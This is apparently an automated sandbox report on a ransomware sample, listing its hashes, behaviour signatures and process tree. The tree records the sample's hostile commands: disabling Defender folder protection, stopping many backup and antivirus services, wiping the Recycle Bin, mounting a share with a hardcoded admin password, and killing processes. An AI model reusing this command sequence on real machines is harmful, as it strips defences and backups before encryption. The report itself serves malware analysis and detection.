cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
19-04-2023 01:00

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General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

8^/10

ransomware

Malware Config

Signatures

Downloads MZ/PE file

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\EditEnable.tiff	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\EditEnable.tiff.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\OptimizeGrant.raw.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\SaveRedo.raw.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File opened for modification	C:\Users\Admin\Pictures\SelectWatch.tiff	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\SelectWatch.tiff.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File opened for modification	C:\Users\Admin\Pictures\DenySync.tiff	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\DenySync.tiff.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Drops startup file 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Executes dropped EXE 1 IoCs

Processes:

yjp3kvpw.exe

pid process

5124 yjp3kvpw.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

4552 sc.exe
5092 sc.exe
2764 sc.exe
2024 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

2708 taskkill.exe
4480 taskkill.exe
3328 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

5040 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2284 PING.EXE

pid	process
5124	yjp3kvpw.exe

pid	process
4552	sc.exe
5092	sc.exe
2764	sc.exe
2024	sc.exe

pid	process
2708	taskkill.exe
4480	taskkill.exe
3328	taskkill.exe

pid	process
5040	notepad.exe

pid	process
2284	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid	process
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exetaskkill.exepowershell.exetaskkill.exetaskkill.exeyjp3kvpw.exe

description	pid	process
Token: SeDebugPrivilege	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	3328	taskkill.exe
Token: SeDebugPrivilege	4524	powershell.exe
Token: SeDebugPrivilege	2708	taskkill.exe
Token: SeDebugPrivilege	4480	taskkill.exe
Token: SeAssignPrimaryTokenPrivilege	5124	yjp3kvpw.exe
Token: SeIncreaseQuotaPrivilege	5124	yjp3kvpw.exe
Token: SeImpersonatePrivilege	5124	yjp3kvpw.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1340 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1340 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	pid	process	target process
PID 1340 wrote to memory of 4524	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1340 wrote to memory of 4524	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1340 wrote to memory of 4524	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1340 wrote to memory of 4284	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 4284	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 4284	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 1892	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 1892	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 1892	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3368	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3368	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3368	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3728	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3728	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3728	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3620	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3620	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3620	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 1996	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 1996	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 1996	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 5008	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 5008	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 5008	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 2592	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 2592	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 2592	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 4652	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 4652	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 4652	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 260	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 260	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 260	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3308	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3308	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3308	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 228	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 228	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 228	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 220	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 220	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 220	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 2140	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 2140	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 2140	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3908	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3908	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3908	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 4296	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 4296	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 4296	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3348	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3348	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3348	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 4196	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 4196	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 4196	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 1952	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 1952	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 1952	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3144	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3144	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 3144	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1340 wrote to memory of 4692	1340	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Modifies extensions of user files
- Checks computer location settings
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1340
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4524
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:4284
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:4624
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:3144
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:5320
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:1952
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:5668
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:4196
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:5736
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:3348
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:5576
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:4296
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:5660
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:4692
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:5504
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2104
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:5552
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:3908
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:5308
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:2140
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:5464
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:220
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:5588
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:228
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:5528
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:3308
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:5708
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:2304
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:5344
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:260
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:5436
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:4652
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:3596
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:2592
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:5520
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:1472
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:5628
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:5008
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:5644
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:1996
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:5652
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:3760
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:5636
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:3620
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:5492
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:3728
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:5620
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:3368
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:5220
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:1892
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:5352
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:4644
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:5328
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:1464
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:5724
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:1496
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:5676
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:1312
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:5612
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:2284
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:5700
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:3892
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:5476
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:2092
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:5568
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:3300
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:5684
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:4848
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:5336
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2124
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:5604
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:856
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:5544
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:2112
- C:\Windows\SysWOW64\net.exe
  "net.exe" use \\10.127.0.168 /USER:EDENFIELD\efadmin P455w0rd
  2⤵
  PID:6048
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp7302.bat
  2⤵
  PID:2616
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4480
